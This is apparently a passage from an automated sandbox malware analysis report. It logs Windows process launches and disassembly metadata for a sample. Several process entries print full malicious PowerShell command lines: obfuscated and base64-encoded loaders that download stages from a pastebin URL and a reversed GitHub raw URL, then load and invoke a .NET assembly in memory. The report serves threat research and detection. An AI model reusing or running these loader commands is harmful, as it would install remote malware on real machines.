'WwBT?Hk?cwB0?GU?bQ?u?E4?ZQB0?C4?UwBl?HI?dgBp?GM?ZQBQ?G8?aQBu?HQ?TQBh?G4?YQBn?GU?cgBd?Do?OgBT?GU?YwB1?HI?aQB0?Hk?U?By?G8?d?Bv?GM?bwBs?C??PQ?g?Fs?UwB5?HM?d?Bl?G0?LgBO?GU?d??u?FM?ZQBj?HU?cgBp?HQ?eQBQ?HI?bwB0?G8?YwBv?Gw?V?B5?H??ZQBd?Do?OgBU?Gw?cw?x?DI?Ow?k?EM?QwBS?Gg?bQ?g?D0?I??n?Gg?d?B0?H??cw?6?C8?LwBw?GE?cwB0?GU?YgBp?G4?LgBj?G8?bQ?v?HI?YQB3?C8?QQBk?HY?OQBn?EI?S?Bh?Cc?I??7?CQ?Zg?g?D0?I??o?Fs?UwB5?HM?d?Bl?G0?LgBJ?E8?LgBQ?GE?d?Bo?F0?Og?6?Ec?ZQB0?FQ?ZQBt?H??U?Bh?HQ?a??o?Ck?I??r?C??JwBk?Gw?b??w?DE?LgB0?Hg?d??n?Ck?I??7?Ek?bgB2?G8?awBl?C0?VwBl?GI?UgBl?HE?dQBl?HM?d??g?C0?VQBS?Ek?I??k?EM?QwBS?Gg?bQ?g?C0?TwB1?HQ?RgBp?Gw?ZQ?g?CQ?Zg?g?C0?VQBz?GU?QgBh?HM?aQBj?F??YQBy?HM?aQBu?Gc?I??7?GM?bQBk?C4?ZQB4?GU?I??v?GM?I??7?H??aQBu?Gc?I??x?DI?Nw?u?D??Lg?w?C4?MQ?g?Ds?c?Bv?Hc?ZQBy?HM?a?Bl?Gw?b??u?GU?e?Bl?C??LQBj?G8?bQBt?GE?bgBk?C??ew?k?GY?I??9?C??K?Bb?FM?eQBz?HQ?ZQBt?C4?SQBP?C4?U?Bh?HQ?a?Bd?Do?OgBH?GU?d?BU?GU?bQBw?F??YQB0?Gg?K??p?C??Kw?g?Cc?Z?Bs?Gw?M??x?C4?d?B4?HQ?Jw?p?C??Ow?k?FE?U?B0?GE?dg?g?D0?I??o?C??RwBl?HQ?LQBD?G8?bgB0?GU?bgB0?C??LQBQ?GE?d?Bo?C??J?Bm?C??KQ?g?Ds?SQBu?HY?bwBr?GU?LQBX?GU?YgBS?GU?cQB1?GU?cwB0?C??LQBV?FI?SQ?g?CQ?UQBQ?HQ?YQB2?C??LQBP?HU?d?BG?Gk?b?Bl?C??J?Bm?C??LQBV?HM?ZQBC?GE?cwBp?GM?U?Bh?HI?cwBp?G4?ZwB9?C??Ow?k?FE?U?B0?GE?dg?g?D0?I??o?C??RwBl?HQ?LQBD?G8?bgB0?GU?bgB0?C??LQBQ?GE?d?Bo?C??J?Bm?C??KQ?g?Ds?J?Bq?Hc?bgBn?GM?I??9?C??Jw?w?DE?Jw?g?Ds?J?Bl?GE?YQBp?Hc?I??9?C??Jw?l?Eo?awBR?GE?cwBE?GY?ZwBy?FQ?Zw?l?Cc?I??7?Fs?QgB5?HQ?ZQBb?F0?XQ?g?CQ?Z?Bj?Gg?cwBp?C??PQ?g?Fs?cwB5?HM?d?Bl?G0?LgBD?G8?bgB2?GU?cgB0?F0?Og?6?EY?cgBv?G0?QgBh?HM?ZQ?2?DQ?UwB0?HI?aQBu?Gc?K??g?CQ?UQBQ?HQ?YQB2?C4?cgBl?H??b?Bh?GM?ZQ?o?Cc?J??k?CQ?J??k?Cc?L??n?EE?Jw?p?C??KQ?g?Ds?WwBT?Hk?cwB0?GU?bQ?u?EE?c?Bw?EQ?bwBt?GE?aQBu?F0?Og?6?EM?dQBy?HI?ZQBu?HQ?R?Bv?G0?YQBp?G4?LgBM?G8?YQBk?Cg?J?Bk?GM?a?Bz?Gk?KQ?u?Ec?ZQB0?FQ?eQBw?GU?K??n?FQ?ZQBo?HU?b?Bj?Gg?ZQBz?Fg?e?BY?Hg?e??u?EM?b?Bh?HM?cw?x?Cc?KQ?u?Ec?ZQB0?E0?ZQB0?Gg?bwBk?Cg?JwBN?HM?cQBC?Ek?YgBZ?Cc?KQ?u?Ek?bgB2?G8?awBl?Cg?J?Bu?HU?b?Bs?Cw?I?Bb?G8?YgBq?GU?YwB0?Fs?XQBd?C??K??n?DQ?Mg?x?DE?VgBP?E4?LwBu?Gk?YQBt?C8?cwBk?GE?ZQBo?C8?cwBm?GU?cg?v?GU?cgBp?GY?LwBh?Gw?b?Bp?HU?cQBu?GE?cgBy?GE?Yg?0?DI?M??y?G4?bwBp?H??bQBh?Gg?Yw?v?G0?bwBj?C4?d?Bu?GU?d?Bu?G8?YwBy?GU?cwB1?GI?dQBo?HQ?aQBn?C4?dwBh?HI?Lw?v?Do?cwBw?HQ?d?Bo?Cc?I??s?C??J?Bl?GE?YQBp?Hc?I??s?C??JwBp?Gc?ZgB4?EU?TQ?n?Cw?I??k?Go?dwBu?Gc?Yw?s?C??Jw?x?Cc?L??g?Cc?UgBv?GQ?YQ?n?C??KQ?p?Ds?';$Yolopolhggobek = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $IuJUJJZz.replace('?','A') ) );$Yolopolhggobek = $Yolopolhggobek.replace('%JkQasDfgrTg%', 'C:\Users\user\AppData\Local\Temp\jglbwx.vbs');powershell $Yolopolhggobek;
Imagebase:	0x7ff63c0a0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	00:53:58
Start date:	23/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff704000000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	00:53:59
Start date:	23/11/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$CCRhm = 'https://pastebin.com/raw/Adv9gBHa' ;$f = ([System.IO.Path]::GetTempPath() + 'dll01.txt') ;Invoke-WebRequest -URI $CCRhm -OutFile $f -UseBasicParsing ;cmd.exe /c ;ping 127.0.0.1 ;powershell.exe -command {$f = ([System.IO.Path]::GetTempPath() + 'dll01.txt') ;$QPtav = ( Get-Content -Path $f ) ;Invoke-WebRequest -URI $QPtav -OutFile $f -UseBasicParsing} ;$QPtav = ( Get-Content -Path $f ) ;$mixfu = '01' ;$bhpge = 'C:\Users\user\AppData\Local\Temp\mknrez.vbs' ;[Byte[]] $nugkk = [system.Convert]::FromBase64String( $QPtav.replace('$$$$$','A') ) ;[System.AppDomain]::CurrentDomain.Load($nugkk).GetType('TehulchesXxXxx.Class1').GetMethod('MsqBIbY').Invoke($null, [object[]] ('42ocsa/niam/sdaeh/sfer/erif/alliuqnarrab4202noipmahc/moc.tnetnocresubuhtig.war//:sptth' , $bhpge , 'igfxEM64', $mixfu, '1', 'Roda' ));"
Imagebase:	0x7ff63c0a0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	00:53:59
Start date:	23/11/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$CCRhm = 'https://pastebin.com/raw/Adv9gBHa' ;$f = ([System.IO.Path]::GetTempPath() + 'dll01.txt') ;Invoke-WebRequest -URI $CCRhm -OutFile $f -UseBasicParsing ;cmd.exe /c ;ping 127.0.0.1 ;powershell.exe -command {$f = ([System.IO.Path]::GetTempPath() + 'dll01.txt') ;$QPtav = ( Get-Content -Path $f ) ;Invoke-WebRequest -URI $QPtav -OutFile $f -UseBasicParsing} ;$QPtav = ( Get-Content -Path $f ) ;$jwngc = '01' ;$eaaiw = 'C:\Users\user\AppData\Local\Temp\jglbwx.vbs' ;[Byte[]] $dchsi = [system.Convert]::FromBase64String( $QPtav.replace('$$$$$','A') ) ;[System.AppDomain]::CurrentDomain.Load($dchsi).GetType('TehulchesXxXxx.Class1').GetMethod('MsqBIbY').Invoke($null, [object[]] ('4211VON/niam/sdaeh/sfer/erif/alliuqnarrab4202noipmahc/moc.tnetnocresubuhtig.war//:sptth' , $eaaiw , 'igfxEM', $jwngc, '1', 'Roda' ));"
Imagebase:	0x7ff63c0a0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	00:54:02
Start date:	23/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\cmd.exe" /c
Imagebase:	0x7ff618c00000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	00:54:02
Start date:	23/11/2024
Path:	C:\Windows\System32\PING.EXE
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\PING.EXE" 127.0.0.1
Imagebase:	0x7ff764dc0000
File size:	22'528 bytes
MD5 hash:	2F46799D79D22AC72C241EC0322B011D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	00:54:03
Start date:	23/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\cmd.exe" /c
Imagebase:	0x7ff618c00000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: PING.EXEPID: 6756, Parent PID: 6320

General

Target ID:	14
Start time:	00:54:03
Start date:	23/11/2024
Path:	C:\Windows\System32\PING.EXE
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\PING.EXE" 127.0.0.1
Imagebase:	0x7ff764dc0000
File size:	22'528 bytes
MD5 hash:	2F46799D79D22AC72C241EC0322B011D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	00:54:05
Start date:	23/11/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedCommand JABmACAAPQAgACgAWwBTAHkAcwB0AGUAbQAuAEkATwAuAFAAYQB0AGgAXQA6ADoARwBlAHQAVABlAG0AcABQAGEAdABoACgAKQAgACsAIAAnAGQAbABsADAAMQAuAHQAeAB0ACcAKQAgADsAJABRAFAAdABhAHYAIAA9ACAAKAAgAEcAZQB0AC0AQwBvAG4AdABlAG4AdAAgAC0AUABhAHQAaAAgACQAZgAgACkAIAA7AEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQBSAEkAIAAkAFEAUAB0AGEAdgAgAC0ATwB1AHQARgBpAGwAZQAgACQAZgAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcA -inputFormat xml -outputFormat text
Imagebase:	0x7ff63c0a0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	00:54:06
Start date:	23/11/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedCommand JABmACAAPQAgACgAWwBTAHkAcwB0AGUAbQAuAEkATwAuAFAAYQB0AGgAXQA6ADoARwBlAHQAVABlAG0AcABQAGEAdABoACgAKQAgACsAIAAnAGQAbABsADAAMQAuAHQAeAB0ACcAKQAgADsAJABRAFAAdABhAHYAIAA9ACAAKAAgAEcAZQB0AC0AQwBvAG4AdABlAG4AdAAgAC0AUABhAHQAaAAgACQAZgAgACkAIAA7AEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQBSAEkAIAAkAFEAUAB0AGEAdgAgAC0ATwB1AHQARgBpAGwAZQAgACQAZgAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcA -inputFormat xml -outputFormat text
Imagebase:	0x7ff63c0a0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Disassembly

Reset < >

Analysis Process: 17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exePID: 6636, Parent PID: 4088COMMON

Executed Functions

Function 00007FFE166496B4 Relevance: .6, Instructions: 649COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.5018727634.00007FFE16640000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE16640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffe16640000_17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e49160.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 82621f4ad4c80524b4325f6bf33cc0763fbe597108dedd02f5fb7a8de738fb46
Instruction ID: 2a687b278271da5827db3278135db406da20949e35deec980c3eafcf4d05a88d
Opcode Fuzzy Hash: 82621f4ad4c80524b4325f6bf33cc0763fbe597108dedd02f5fb7a8de738fb46
Instruction Fuzzy Hash: 00226131F6C9198FEB94E7398491A7973D2FF94314B5045B8D42EC36A6EE29EC438B40

Function 00007FFE16640758 Relevance: 2.7, Strings: 2, Instructions: 158COMMON

Download Yara Rule

Strings

r6Kt, xrefs: 00007FFE166492DB
r6Kt, xrefs: 00007FFE16649543

Memory Dump Source

Source File: 00000000.00000002.5018727634.00007FFE16640000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE16640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffe16640000_17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e49160.jbxd

Similarity

API ID:
String ID: r6Kt$r6Kt
API String ID: 0-1010143305
Opcode ID: 4f0873d9dc8e397c3f99b164bbea45f3fc799dd8e792e5e8a14a2124f46373fc
Instruction ID: 4e60ae89178ad3f71e0c1eb8d29c9e9a784c98229712d02842c1c09ec80adb25
Opcode Fuzzy Hash: 4f0873d9dc8e397c3f99b164bbea45f3fc799dd8e792e5e8a14a2124f46373fc
Instruction Fuzzy Hash: 3B515130A5891DCFDA58FB2DD498BA533A2FB99365B5142E4E05EC72F1DA24EC42CB40

Function 00007FFE1664ACF8 Relevance: 2.6, Strings: 2, Instructions: 72COMMON

Download Yara Rule

Strings

1us, xrefs: 00007FFE1664AE1E
ts, xrefs: 00007FFE1664ADA9

Memory Dump Source

Source File: 00000000.00000002.5018727634.00007FFE16640000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE16640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffe16640000_17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e49160.jbxd

Similarity

API ID:
String ID: 1us$ts
API String ID: 0-4098200387
Opcode ID: 8962469e6a97957d8eb6a1599e3661529c8cbaaa54b97c31938210860a404bfc
Instruction ID: a003373d61efcc8047836dc4804d080be1f31d43dff0d6dbb88af69ceb4ef07f
Opcode Fuzzy Hash: 8962469e6a97957d8eb6a1599e3661529c8cbaaa54b97c31938210860a404bfc
Instruction Fuzzy Hash: 25115421B28E198FE794F73D44953BD62D2EF98310F604478E41EC32E7ED28AC458740

Function 00007FFE16640925 Relevance: 1.4, Strings: 1, Instructions: 123COMMON

Download Yara Rule

Strings

0DUt, xrefs: 00007FFE16640A50

Memory Dump Source

Source File: 00000000.00000002.5018727634.00007FFE16640000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE16640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffe16640000_17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e49160.jbxd

Similarity

API ID:
String ID: 0DUt
API String ID: 0-911744661
Opcode ID: 5542e1d2c27bb591d8657775579989121d34bdb532f826a91634c18eeddd43b7
Instruction ID: 04230b1d581a2458bb5d09bc688e41415c9c9442eb510b8340774a94edd5065e
Opcode Fuzzy Hash: 5542e1d2c27bb591d8657775579989121d34bdb532f826a91634c18eeddd43b7
Instruction Fuzzy Hash: 75317521A69B0D9FDB88FB7994995BD3BA1FF98310780087DE44EC71E6EE289805C710

Function 00007FFE16647D0F Relevance: 1.3, Strings: 1, Instructions: 53COMMON

Download Yara Rule

Strings

d, xrefs: 00007FFE16647D53

Memory Dump Source

Source File: 00000000.00000002.5018727634.00007FFE16640000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE16640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffe16640000_17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e49160.jbxd

Similarity

API ID:
String ID: d
API String ID: 0-2564639436
Opcode ID: 77fbf7c4e80d6141eaae54bd96182aac63da48c23b5aca8f95d9610be8ad9fa4
Instruction ID: cad0cf7cfeeda509a338def9c306dbf32a7bab7dad1d252c4c89060fa8ea2363
Opcode Fuzzy Hash: 77fbf7c4e80d6141eaae54bd96182aac63da48c23b5aca8f95d9610be8ad9fa4
Instruction Fuzzy Hash: 9201D631D1891D4AEF54ABA988052FDBBA0EF58324F01007BD92DE32A1DF3C59404BC1

Function 00007FFE1664AE3D Relevance: 1.3, Strings: 1, Instructions: 39COMMON

Download Yara Rule

Strings

"rKt, xrefs: 00007FFE1664AE5C

Memory Dump Source

Source File: 00000000.00000002.5018727634.00007FFE16640000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE16640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffe16640000_17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e49160.jbxd

Similarity

API ID:
String ID: "rKt
API String ID: 0-955197308
Opcode ID: f9dbbda5baf8e6831ae63734ea9517a5d373868a744daf9823ef10bb8eb2d2c8
Instruction ID: 6a754beea610ba321fe8960b0a9182ef528f22dbdb304ec2336098e5f84ce35a
Opcode Fuzzy Hash: f9dbbda5baf8e6831ae63734ea9517a5d373868a744daf9823ef10bb8eb2d2c8
Instruction Fuzzy Hash: 3BF0E912B2CA490FEF89A73E54556B973C2FBC4324B0005B7D419C32DACE29E8514380

Function 00007FFE16641373 Relevance: 1.3, Strings: 1, Instructions: 34COMMON

Download Yara Rule

Strings

HBUt, xrefs: 00007FFE16641376

Memory Dump Source

Source File: 00000000.00000002.5018727634.00007FFE16640000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE16640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffe16640000_17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e49160.jbxd

Similarity

API ID:
String ID: HBUt
API String ID: 0-2623466068
Opcode ID: f7bf5bb4d18ed7789929ed73d30e05fc783176dcb7f64cf740ec0d0cb189445a
Instruction ID: c5228870d4af11627c3bbbf153600e3e7f08e388368f51ad00a576bf0c680cdf
Opcode Fuzzy Hash: f7bf5bb4d18ed7789929ed73d30e05fc783176dcb7f64cf740ec0d0cb189445a
Instruction Fuzzy Hash: F7F0BE12F2CD56CAF655B3B8405537962C2EF95324F2044F9E40EC72E3ED5C7C028A82

Function 00007FFE166495F2 Relevance: 1.3, Strings: 1, Instructions: 27COMMON

Download Yara Rule

Strings

]O_H, xrefs: 00007FFE16649602

Memory Dump Source

Source File: 00000000.00000002.5018727634.00007FFE16640000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE16640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffe16640000_17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e49160.jbxd

Similarity

API ID:
String ID: ]O_H
API String ID: 0-650201767
Opcode ID: b5271f1918b832ed5542e4ab8cd4b0ac4e76758b3b37af30536105a8d73b67ff
Instruction ID: 04d01ea93fe449af0ebeeb0fa479c4d9ed672c3a5561c7ecedbc481eca7774b9
Opcode Fuzzy Hash: b5271f1918b832ed5542e4ab8cd4b0ac4e76758b3b37af30536105a8d73b67ff
Instruction Fuzzy Hash: B1E0D835D5AD8E4BEF54677254460E9B790FF05324FC406F5E51D83161DD2D15148E81

Function 00007FFE166493F7 Relevance: 1.3, Strings: 1, Instructions: 21COMMON

Download Yara Rule

Strings

6Kt, xrefs: 00007FFE16649425

Memory Dump Source

Source File: 00000000.00000002.5018727634.00007FFE16640000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE16640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffe16640000_17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e49160.jbxd

Similarity

API ID:
String ID: 6Kt
API String ID: 0-721061297
Opcode ID: aa80c83712551e7f8e21e8be81061727522d3af213ad70a7c6f335e50b71e551
Instruction ID: 028a7986d966d7517834cf9875acf4df47e93135ad9abb92ad1f5494b9421a7d
Opcode Fuzzy Hash: aa80c83712551e7f8e21e8be81061727522d3af213ad70a7c6f335e50b71e551
Instruction Fuzzy Hash: A4E08C5691DDE25BE3A5CB39842A1346F81AF1A19430C02FCC0D8871EBDC4CB802CB51

Function 00007FFE16642235 Relevance: 1.3, Strings: 1, Instructions: 19COMMON

Download Yara Rule

Strings

r6Kt, xrefs: 00007FFE16642271

Memory Dump Source

Source File: 00000000.00000002.5018727634.00007FFE16640000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE16640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffe16640000_17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e49160.jbxd

Similarity

API ID:
String ID: r6Kt
API String ID: 0-2222001602
Opcode ID: 396f21938721b6d5d52c9d67079980e786ad743791f40ee1a74e90a6534789eb
Instruction ID: efd9168c45cfb7e38588573d8a5e1f4676aa300d9591f1b0c15e53135ec8d6f0
Opcode Fuzzy Hash: 396f21938721b6d5d52c9d67079980e786ad743791f40ee1a74e90a6534789eb
Instruction Fuzzy Hash: 88D05B20718A054BD2889B1C956436967A3F7C8310FA0422CE49FC37D1CF684C139206

Function 00007FFE1664A92A Relevance: 1.3, Strings: 1, Instructions: 14COMMON

Download Yara Rule

Strings

r6Kt, xrefs: 00007FFE1664A943

Memory Dump Source

Source File: 00000000.00000002.5018727634.00007FFE16640000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE16640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffe16640000_17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e49160.jbxd

Similarity

API ID:
String ID: r6Kt
API String ID: 0-2222001602
Opcode ID: 4df90cd50831bc49b60c575ef451a0bc79653606a38488777f6ec75773ed53d3
Instruction ID: b7736ebe8766bb892a4fe64ec92aa2d515e45cf7731ba27a5ebe3c9b91e96c71
Opcode Fuzzy Hash: 4df90cd50831bc49b60c575ef451a0bc79653606a38488777f6ec75773ed53d3
Instruction Fuzzy Hash: A9C08C10B04C0C8F5694E71D90543BC27D2FBDC230F6802ABC00CD3366DD2888434348

Function 00007FFE16640BC1 Relevance: 1.3, Strings: 1, Instructions: 8COMMON

Download Yara Rule

Strings

r6Kt, xrefs: 00007FFE16640BD2

Memory Dump Source

Source File: 00000000.00000002.5018727634.00007FFE16640000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE16640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffe16640000_17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e49160.jbxd

Similarity

API ID:
String ID: r6Kt
API String ID: 0-2222001602
Opcode ID: 1a452fc342e6449d018cf0f944b153a70eda41bc302afcf09b8aa849f6e0275c
Instruction ID: 56a0cd3636468fc434036907729bb35cf4feec24e8f17016fd945e16109b66d4
Opcode Fuzzy Hash: 1a452fc342e6449d018cf0f944b153a70eda41bc302afcf09b8aa849f6e0275c
Instruction Fuzzy Hash: AAB09201B34B094BA988A72904A63788082AB4850479000B8541ED2AB3EC0C78000210

Function 00007FFE1664AB02 Relevance: 1.3, Strings: 1, Instructions: 5COMMON

Download Yara Rule

Strings

6Kt, xrefs: 00007FFE1664AB0B

Memory Dump Source

Source File: 00000000.00000002.5018727634.00007FFE16640000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE16640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffe16640000_17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e49160.jbxd

Similarity

API ID:
String ID: 6Kt
API String ID: 0-721061297
Opcode ID: a9050ccb7a4d42b497ab251df7c2de2a5bf78be4b75c78ec8d0936ab0d80368c
Instruction ID: 2a3739fcfeb53248cbe32177e67302ae8066ffd090c0468abffb05b35bca6fd9
Opcode Fuzzy Hash: a9050ccb7a4d42b497ab251df7c2de2a5bf78be4b75c78ec8d0936ab0d80368c
Instruction Fuzzy Hash: 86A02202A308080B20E8AA3A000A23080C0A30808830000B0880CE33E2CC0C2E008300

Function 00007FFE16647315 Relevance: .2, Instructions: 230COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.5018727634.00007FFE16640000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE16640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffe16640000_17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e49160.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: be4a7f0042d5fde9bf05d8c270b1b5beba4e7ef29bcc5045ce62f6596f14875d
Instruction ID: df07d480d2a50d9c911e80fffd4b08e169998cd46d475912850de52539f4139c
Opcode Fuzzy Hash: be4a7f0042d5fde9bf05d8c270b1b5beba4e7ef29bcc5045ce62f6596f14875d
Instruction Fuzzy Hash: 8771B331D18A4D4FEB58EB69C8457BDBBE1FF54320F1041BAD449D32A2DE38A8468B81

Function 00007FFE16647DCD Relevance: .2, Instructions: 212COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.5018727634.00007FFE16640000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE16640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffe16640000_17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e49160.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f1d5527484863acb46ce85651a68b2ce99e6897ef9d1f3218ae2f55e6faceced
Instruction ID: 0a1b026c0fa67a37c5ae1c8a05bb9c91cf40d9e2c57e332c11a465778e51fec6
Opcode Fuzzy Hash: f1d5527484863acb46ce85651a68b2ce99e6897ef9d1f3218ae2f55e6faceced
Instruction Fuzzy Hash: 4C517131918A1C8FDB98DF58D8457FDBBF2FF99311F10426AD449D3252DA34A8468F81

Function 00007FFE166472D2 Relevance: .2, Instructions: 202COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.5018727634.00007FFE16640000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE16640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffe16640000_17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e49160.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7da3740c9e255fe80acd60afce8112c3e77e5655d5fa8cadb7b4e65bc56d3612
Instruction ID: a43c2411b4de88a1b412ab4f2e42b753da67750ff4caaa420698cd5d151f7fad
Opcode Fuzzy Hash: 7da3740c9e255fe80acd60afce8112c3e77e5655d5fa8cadb7b4e65bc56d3612
Instruction Fuzzy Hash: D1516331918A4D4FEB98DF59D8457BDBBF1FF98310F10426AD449D3292DE34A8468B81

Function 00007FFE16645FB3 Relevance: .2, Instructions: 202COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.5018727634.00007FFE16640000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE16640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffe16640000_17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e49160.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a60cde5ff481c6ee185dfac5f776124a9de66151ecc08110b0b46d052e4e5ad2
